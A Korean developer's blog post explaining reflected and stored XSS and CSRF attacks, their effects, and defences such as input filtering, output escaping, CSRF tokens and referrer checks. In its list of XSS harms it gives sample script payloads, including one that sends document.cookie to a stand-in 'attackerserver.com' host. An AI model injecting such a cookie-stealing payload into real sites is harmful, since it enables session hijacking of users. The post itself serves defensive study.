일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | ||||||
2 | 3 | 4 | 5 | 6 | 7 | 8 |
9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 | 17 | 18 | 19 | 20 | 21 | 22 |
23 | 24 | 25 | 26 | 27 | 28 | 29 |
30 | 31 |
- computer science
- vm
- 배포
- 백엔드
- CS
- Spring
- Java
- 데이터베이스
- 웹 서버
- 컨테이너
- spring boot
- 자바
- web server
- 스프링 배치
- HTTP
- 스프링
- spring cloud
- spring batch
- 스프링 부트
- Spring Security
- CI/CD
- virtualization
- 스프링 시큐리티
- mysql
- 가상화
- 도커
- JPA
- Container
- ORM
- 영속성 컨텍스트
- Today
- Total
개발 일기
[보안] XSS와 CSRF의 개념과 비교 본문
공부하게 된 계기
Express에서 Spring Boot 프레임워크를 공부하게 되면서 Spring Boot에서는 Spring Security와 JWT로 회원가입/로그인 기능(인증 및 인가)을 어떻게 구현하는지 알고 싶어서 조사를 하다가 내가 직접 구현했던 방식과 완전히 다른 구현 방식을 발견했다. 이때 그 구현 방식을 채택하신 분은 왜 그런 방식으로 구현했는지 근거가 다 있는 것을 보고 그 근거 중에 이러한 공격들에 대한 이유도 포함됐는데 구체적으로 알아볼 필요가 있을 것 같고 앞으로 제가 Spring Security와 JWT로 인증 및 인가를 구현하는 다양한 방식 중 하나를 채택할 때 근거를 채택할 때 도움이 될 것 같아서 공부하게 됐다.
XSS(Cross-site Scripting) 공격
웹 해킹 공격 기법 중 하나인 XSS(Cross-site Scripting)는 게시판이나 웹 메일 등에 악의적인 스크립트 코드를 삽입하여 개발자가 의도하지 않은 기능을 실행시키는 공격으로 한마디로 자바스크립트를 통한 공격이다. 원래는 CSS이지만 이미 Cascading Style Sheets의 약어로 사용되고 있어 XSS라고 한다.
👉 Reflected XSS
이 공격은 웹사이트 관리자가 아닌 이가 웹 페이지에 악성 스크립트를 삽입할 수 있는 취약점을 악용한 공격이다.
이렇게만 봐서는 이해가 안가서 구체적인 예시를 통해 알아보자.
- 우선 공격자가 Reflected XSS 공격에 취약한 웹사이트를 발견하고 사용자 정보를 빼돌릴 수 있는 스크립트가 담긴 URL을 만들어 일반 유저에게 스팸 문자, 메일 등을 통해 전달하여 일반 유저들이 클릭하도록 노출시킨다.
- 일반 유저가 전달받은 URL 링크를 클릭하고 일반 사용자 브라우저에서 보안이 취약한 사이트로 요청이 보내진다. 이때 URL에는 악의적인 스크립트가 파라미터로 담겨있다.
- 그 요청에 대한 응답이 일반 유저의 브라우저에서 반환되는데 이때 악성 스크립트가 실행된다.
- 이 악의적인 스크립트를 통해 일반 유저 정보를 얻을 수 있다.
👉 Stored XSS
두번째로 Stored XSS, 저장형 XSS 공격이다. 보안이 취약한 서버에 악의적인 사용자가 악성 스크립트를 저장함으로써 발생한다. 비정상적인 방법이 아니라 서버에서 제공하는 게시판, 사용자 프로필에 악의적으로 동작하는 스크립트가 그대로 저장된 후 클라이언트의 브라우저로 전달되어 문제가 발생한다.
- Reflected XSS와 같이 공격자가 보안이 취약한 사이트를 찾고 그곳에서 제공하는 게시판에 사용자 정보를 빼돌릴 수 있는 스크립트를 작성하여 올린다.
- 일반 유저는 악의적인 사용자가 작성한 게시글을 조회할 때, 서버로부터 악의적인 스크립트가 담긴 게시글 응답을 전달받는다.
- 일반 유저의 브라우저에서 응답 메시지를 전달 받으면서 악성 스크립트가 실행된다.
- 공격자는 해당 악성 스크립트를 통해 일반 유저 정보를 얻을 수 있다.
피해 및 예방 방법
피해들
- 쿠키 정보 및 세션 ID 획득
: XSS 공격을 통해 공격자는 사용자의 브라우저에 저장된 쿠키 정보나 세션 ID 등을 탈취할 수 있다. 이를 통해 사용자의 세션을 위조하거나 개인 정보를 탈취할 수 있다. <script> alert(document.cookie) </script> 이 스크립트를 통해 보안에 취약한 페이지의 쿠키 값을 읽어올 수 있다. - 시스템 관리자 권한 획득
: XSS 공격을 통해 시스템에 악성 스크립트를 삽입하여 관리자 권한을 획득할 수 있다. 이를 통해 시스템을 조작하거나 중요한 정보를 탈취할 수 있다. - 악성 코드 다운로드
: XSS 공격을 통해 사용자의 브라우저를 악성 코드가 있는 사이트로 리다이렉트하여 악성 프로그램을 다운로드하도록 유도할 수 있다. <script> document.location='http://attackerserver.com/steal_cookie?'+document.cookie </script> 또는 <script> indow.open() </script>것을 통해 지정한 위치로 리다이렉트 시킬 수 있다. - 거짓 페이지 노출
: XSS 공격을 통해 사용자의 브라우저에 거짓 페이지를 노출시킬 수 있다. 이를 통해 사용자를 속여서 개인 정보를 입력하도록 유도하거나 악성 코드를 실행시킬 수 있다.
예방 방법
Reflected XSS는 방화벽 같은 방법으로 막을 수 없다. 문자열 자체를 처리하여 막을 수 있는 몇가지 방법이 있었다.
- 첫번째로는 입력값 제한(script 문자 필터링)이다. 스크립트를 실행할때 주로 쓰이는 <, >, ", ' 등의 문자를 정규식 등을 통해 입력 자체를 막아버리고 한글, 영어, 숫자, 공백만 입력 가능하도록 하는 것이다.
- 두번째는 입력 값 치환을 통해 악성 스크립트를 만들 수 있는 특수 문자들을 치환하는 것이다. &, <, >, ", ', (, ), / 등을 &, <, > 이런식으로 치환하여 처리할 수 있다.
- 세번째로는 프론트 단에서 아래와 같이 <c:out />를 통해 문자열 자체를 그대로 출력하도록 하여 script가 실행되지 않고 문자열로 처리되어 그대로 반환될 수 있도록 하는 것이다.
<div>
<a> <c:out value="${keyword}"/></a>
</div>
CSRF(Cross-site Request Forgery) 공격
CSRF 사이트 간 요청 위조. 유저가 자신의 의지와는 무관하게 공격자가 의도한 행위(수정, 삭제, 등록 등)를 특정 웹사이트에 요청하게 하는 공격을 말한다. 즉, 악의적인 사용자가 특정 사용자의 권한을 이용하여 웹 애플리케이션에 요청을 보내는 공격이다.
예시를 통해 알아보자
- 일반 유저가 은행 계좌에 로그인한다.
- 은행은 일반 유저에게 인증 토큰을 부여한다.
- 공격자가 일반 유저에게 은행으로부터 합법적으로 온 것 같은 악의적인 요청을 보낸다.
- 일반 유저는 자신도 모르게 은행으로 요청을 전달한다.
- 일반 유저의 브라우저에서 일반 유저에게 부여된 인증 토큰을 사용하여 은행은 악의적인 의도가 담긴 요청을 실행한다.
피해 및 예방 방법
피해들
- 관리자만 할 수 있는 요청을 이미지나 텍스트에 하이퍼링크로 담아 관리자가 클릭하도록 유도하여 관리자의 브라우저에서 해당 요청이 실행 될 수 있도록 한다
- 자동 이체
: 공격자는 악의적인 요청을 통해 피해자의 은행 계좌에서 일정 금액을 다른 계좌로 이체할 수 있다. - 개인 정보 노출
: 악의적인 요청을 통해 피해자의 은행 계좌 정보나 개인 식별 정보 등이 노출될 수 있다.
예방 방법
- 우선 중요한 요청은 GET 요청이 아닌 POST 요청으로 처리한다.
- Referrer 검증
: Referrer를 검증(Host 정보와 대조)하여 같은 도메인에서 온 요청인지 확인한다. 이는 외부에서의 요청을 차단한다. - CSRF Token 사용
: 랜덤한 수를 사용자 세션에 저장하여 사용자의 모든 요청에 대해 서버단에서 검증한다.
중요한 작업을 수행하는 요청에 대해 세션에 임의의 토큰을 발급하여, 해당 토큰이 없는 경우 요청을 거부하는 역할을 한다. - CAPTCHAT 사용
: 민감한 작업을 수행하는 경우, 사용자가 실제로 그 작업을 의도했는지 확인하기 위해 CAPTCHA를 사용한다. 이는 자동화된 공격을 방지하고 사용자가 인간인지 확인하는 데 도움이 된다. - 중요 정보는 쿠키에 저장하지 않기
: 중요한 정보는 브라우저의 쿠키에 저장하지 않고, 서버 측 세션에 저장하는 것이 안전합니다. 쿠키에 저장된 정보는 클라이언트 측에서 변경될 수 있기 때문에 보안에 취약합니다.
이런 것들을 플러그인을 통해서도 방어할 수 있다.
XSS와 CSRF 비교
XSS의 공격대상이 Client이고, CSRF는 Server이다.
XSS은 사용자가 특정 웹사이트를 신용하는 점을 노린 것이라면,
CSRF는 특정 웹사이트가 사용자의 웹 브라우저를 신용하는 상태를 노린 것이다.
위는 타 개발 블로그를 참고한 문단인데 가장 잘 정리해둔 것 같다.
풀어서 설명해보자면 XSS의 경우 유저의 입장에서 그 웹사이트의 게시판에 올라온 글 등을 신뢰하기 때문에 조회를 했다가 그 웹사이트의 내용을 조회했다가 의도하지 않은 스크립트가 실행되어 의도하지 않은 작업이 실행된 것이라면
CSRF는 공격자가 이미 인증된 상태에서 악의적인 요청을 실행하도록 유도하여 서버를 속이는 것으로 특정 웹사이트(서버)가 이미 인증된 유저의 브라우저를 신용하는 상태를 활용한 공격이다.
느낀 점
개발을 하면서 딱히 이러한 취약점들에 대해 별 생각 없이 개발을 하고 있었는데 XSS와 CSRF에 대해 알아보면서 아무리 간단한 CRUD라도 저러한 것들을 모두 고려해야한다는 것을 깨달았다.
참고
'Computer Science > 보안' 카테고리의 다른 글
[보안] CORS? (feat. SOP) (0) | 2024.04.29 |
---|